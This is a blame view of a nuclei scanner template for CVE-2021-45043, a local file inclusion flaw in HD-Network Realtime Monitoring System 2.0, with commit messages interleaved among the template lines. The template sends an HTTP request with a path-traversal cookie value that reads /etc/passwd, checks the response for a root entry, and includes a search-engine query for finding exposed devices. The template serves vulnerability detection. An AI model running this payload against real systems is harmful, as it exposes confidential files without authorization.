daffainfo
/
nuclei-templates
mirror of https://github.com/daffainfo/nuclei-templates.git
1
0
Fork 0
Code Issues Packages Projects Releases Wiki Activity
nuclei-templates/http/cves/2021/CVE-2021-45043.yaml

49 lines
2.0 KiB
YAML
Raw Normal View History

update: id + reference update
2021-12-14 15:37:46 +00:00
id: CVE-2021-45043
Added CVE-2021-24997 (#3298) * Added CVE-39226 * Added CVE-39226 * Delete CVE-39226.yaml * Renamed CVE-39226 to CVE-2021-39226 Fixed naming error * Added Wp-Guppy-Information-Disclosure template * Removed File Found better descriptor * Added CVE-2021-24997 Added WordPress Guppy Information Disclosure CVE * Fixed CVE-2021-24997 Fixed YAML formatting * Fixed Typo URL Path had an extra double quote * Auto Generated Templates Stats [Wed Dec 8 23:07:24 UTC 2021] :robot: * Deleted Blank Space * Update CVE-2021-24997.yaml * Update CVE-2021-24997.yaml * Update CVE-2021-24997.yaml * Update CVE-2021-24997.yaml * Added CVE-2021-43496 * Update CVE-2021-43496.yaml * fix: syntax update * Added New Vuln * Update CVE-2021-24997.yaml * Update CVE-2021-43496.yaml * Update and rename hd-netowrk-realtime-monitor-system-LFI.yaml to hdnetwork-realtime-lfi.yaml * fix: lints update Co-authored-by: Sandeep Singh <sandeep@projectdiscovery.io> Co-authored-by: GitHub Action <action@github.com> Co-authored-by: Prince Chaddha <prince@projectdiscovery.io>
2021-12-13 20:52:26 +00:00
info:
Enhancement: cves/2021/CVE-2021-45043.yaml by mp
2022-02-28 18:54:12 +00:00
name: HD-Network Realtime Monitoring System 2.0 - Local File Inclusion
update: added more reference
2021-12-15 15:56:35 +00:00
author: Momen Eldawakhly,Evan Rubinstein
Added CVE-2021-24997 (#3298) * Added CVE-39226 * Added CVE-39226 * Delete CVE-39226.yaml * Renamed CVE-39226 to CVE-2021-39226 Fixed naming error * Added Wp-Guppy-Information-Disclosure template * Removed File Found better descriptor * Added CVE-2021-24997 Added WordPress Guppy Information Disclosure CVE * Fixed CVE-2021-24997 Fixed YAML formatting * Fixed Typo URL Path had an extra double quote * Auto Generated Templates Stats [Wed Dec 8 23:07:24 UTC 2021] :robot: * Deleted Blank Space * Update CVE-2021-24997.yaml * Update CVE-2021-24997.yaml * Update CVE-2021-24997.yaml * Update CVE-2021-24997.yaml * Added CVE-2021-43496 * Update CVE-2021-43496.yaml * fix: syntax update * Added New Vuln * Update CVE-2021-24997.yaml * Update CVE-2021-43496.yaml * Update and rename hd-netowrk-realtime-monitor-system-LFI.yaml to hdnetwork-realtime-lfi.yaml * fix: lints update Co-authored-by: Sandeep Singh <sandeep@projectdiscovery.io> Co-authored-by: GitHub Action <action@github.com> Co-authored-by: Prince Chaddha <prince@projectdiscovery.io>
2021-12-13 20:52:26 +00:00
severity: high
Enhancement: cves/2021/CVE-2021-45043.yaml by mp
2022-02-28 21:45:51 +00:00
description: Instances of HD-Network Realtime Monitoring System version 2.0 are vulnerable to a Local File Inclusion vulnerability which allows remote unauthenticated attackers to view confidential information.
Updated 2021 CVEs
2023-09-06 12:09:01 +00:00
remediation: |
Apply the latest patch or update provided by the vendor to fix the LFI vulnerability in HD-Network Realtime Monitoring System 2.0.
update: id + reference update
2021-12-14 15:37:46 +00:00
reference:
update: added more reference
2021-12-15 15:56:35 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-45043
update: id + reference update
2021-12-14 15:37:46 +00:00
- https://www.exploit-db.com/exploits/50588
update: added more reference
2021-12-15 15:56:35 +00:00
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-45043
- https://cyberguy0xd1.medium.com/my-cve-2021-45043-lfi-write-up-441dad30dd7f
Auto Generated CVE annotations [Mon Dec 20 14:33:22 UTC 2021] :robot:
2021-12-20 14:33:22 +00:00
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes
2022-04-22 10:38:41 +00:00
cvss-score: 7.5
Auto Generated CVE annotations [Mon Dec 20 14:33:22 UTC 2021] :robot:
2021-12-20 14:33:22 +00:00
cve-id: CVE-2021-45043
cwe-id: CWE-22
Added EPSS Percentile
2023-08-31 11:46:18 +00:00
epss-score: 0.05404
TemplateMan Update [Thu Nov 23 06:31:40 UTC 2023] :robot:
2023-11-23 06:31:41 +00:00
epss-percentile: 0.92339
Updated 2021 CVEs
2023-09-06 12:09:01 +00:00
cpe: cpe:2.3:a:hd-network_real-time_monitoring_system_project:hd-network_real-time_monitoring_system:2.0:*:*:*:*:*:*:*
refactor: Description field uniformization * info field reorder * reference values refactored to list * added new lines after the id and before the protocols * removed extra new lines * split really long descriptions to multiple lines (part 1) * other minor fixes
2022-04-22 10:38:41 +00:00
metadata:
Added max request counter of each template
2023-04-28 08:11:21 +00:00
max-request: 1
CVE Enrichment :tada:
2023-07-11 19:49:27 +00:00
vendor: hd-network_real-time_monitoring_system_project
product: hd-network_real-time_monitoring_system
Updated 2021 CVEs
2023-09-06 12:09:01 +00:00
google-query: intitle:"HD-Network Real-time Monitoring System V2.0"
Auto Generated CVE annotations [Sat Aug 27 04:41:18 UTC 2022] :robot:
2022-08-27 04:41:18 +00:00
tags: camera,edb,cve,cve2021,hdnetwork,lfi,iot
Added CVE-2021-24997 (#3298) * Added CVE-39226 * Added CVE-39226 * Delete CVE-39226.yaml * Renamed CVE-39226 to CVE-2021-39226 Fixed naming error * Added Wp-Guppy-Information-Disclosure template * Removed File Found better descriptor * Added CVE-2021-24997 Added WordPress Guppy Information Disclosure CVE * Fixed CVE-2021-24997 Fixed YAML formatting * Fixed Typo URL Path had an extra double quote * Auto Generated Templates Stats [Wed Dec 8 23:07:24 UTC 2021] :robot: * Deleted Blank Space * Update CVE-2021-24997.yaml * Update CVE-2021-24997.yaml * Update CVE-2021-24997.yaml * Update CVE-2021-24997.yaml * Added CVE-2021-43496 * Update CVE-2021-43496.yaml * fix: syntax update * Added New Vuln * Update CVE-2021-24997.yaml * Update CVE-2021-43496.yaml * Update and rename hd-netowrk-realtime-monitor-system-LFI.yaml to hdnetwork-realtime-lfi.yaml * fix: lints update Co-authored-by: Sandeep Singh <sandeep@projectdiscovery.io> Co-authored-by: GitHub Action <action@github.com> Co-authored-by: Prince Chaddha <prince@projectdiscovery.io>
2021-12-13 20:52:26 +00:00
Refactoring the directory structure based on protocols (#7137) * moving http templates * updated cves.json * moved network CVEs * updated scripts * updated workflows * updated requests to http * replaced network to tcp --------- Co-authored-by: sandeep <8293321+ehsandeep@users.noreply.github.com>
2023-04-27 04:28:59 +00:00
http:
Added CVE-2021-24997 (#3298) * Added CVE-39226 * Added CVE-39226 * Delete CVE-39226.yaml * Renamed CVE-39226 to CVE-2021-39226 Fixed naming error * Added Wp-Guppy-Information-Disclosure template * Removed File Found better descriptor * Added CVE-2021-24997 Added WordPress Guppy Information Disclosure CVE * Fixed CVE-2021-24997 Fixed YAML formatting * Fixed Typo URL Path had an extra double quote * Auto Generated Templates Stats [Wed Dec 8 23:07:24 UTC 2021] :robot: * Deleted Blank Space * Update CVE-2021-24997.yaml * Update CVE-2021-24997.yaml * Update CVE-2021-24997.yaml * Update CVE-2021-24997.yaml * Added CVE-2021-43496 * Update CVE-2021-43496.yaml * fix: syntax update * Added New Vuln * Update CVE-2021-24997.yaml * Update CVE-2021-43496.yaml * Update and rename hd-netowrk-realtime-monitor-system-LFI.yaml to hdnetwork-realtime-lfi.yaml * fix: lints update Co-authored-by: Sandeep Singh <sandeep@projectdiscovery.io> Co-authored-by: GitHub Action <action@github.com> Co-authored-by: Prince Chaddha <prince@projectdiscovery.io>
2021-12-13 20:52:26 +00:00
- raw:
- |
GET /language/lang HTTP/1.1
Host: {{Hostname}}
Referer: {{BaseURL}}
Cookie: s_asptitle=HD-Network%20Real-time%20Monitoring%20System%20V2.0; s_Language=../../../../../../../../../../../../../../etc/passwd; s_browsertype=2; s_ip=; s_port=; s_channum=; s_loginhandle=; s_httpport=; s_sn=; s_type=; s_devtype=
matchers-condition: and
matchers:
- type: regex
regex:
Updated "/etc/passwd" regex to avoid possible false positive results.
2022-03-22 08:01:31 +00:00
- "root:.*:0:0:"
Added CVE-2021-24997 (#3298) * Added CVE-39226 * Added CVE-39226 * Delete CVE-39226.yaml * Renamed CVE-39226 to CVE-2021-39226 Fixed naming error * Added Wp-Guppy-Information-Disclosure template * Removed File Found better descriptor * Added CVE-2021-24997 Added WordPress Guppy Information Disclosure CVE * Fixed CVE-2021-24997 Fixed YAML formatting * Fixed Typo URL Path had an extra double quote * Auto Generated Templates Stats [Wed Dec 8 23:07:24 UTC 2021] :robot: * Deleted Blank Space * Update CVE-2021-24997.yaml * Update CVE-2021-24997.yaml * Update CVE-2021-24997.yaml * Update CVE-2021-24997.yaml * Added CVE-2021-43496 * Update CVE-2021-43496.yaml * fix: syntax update * Added New Vuln * Update CVE-2021-24997.yaml * Update CVE-2021-43496.yaml * Update and rename hd-netowrk-realtime-monitor-system-LFI.yaml to hdnetwork-realtime-lfi.yaml * fix: lints update Co-authored-by: Sandeep Singh <sandeep@projectdiscovery.io> Co-authored-by: GitHub Action <action@github.com> Co-authored-by: Prince Chaddha <prince@projectdiscovery.io>
2021-12-13 20:52:26 +00:00
- type: status
status:
- 200
TemplateMan Update [Thu Nov 23 07:42:51 UTC 2023] :robot:
2023-11-23 07:42:52 +00:00
# digest: 4a0a00473045022078a862f5050b905e3ae9fcdf34bf42cbb175dee81b3e4fac12ec5a7b4c2c7624022100d26fac5b0f57cbefaabf33e2986a1f48646554079b4152bb8903ed1db5b2caa0:922c64590222798bb761d5b6d8e72950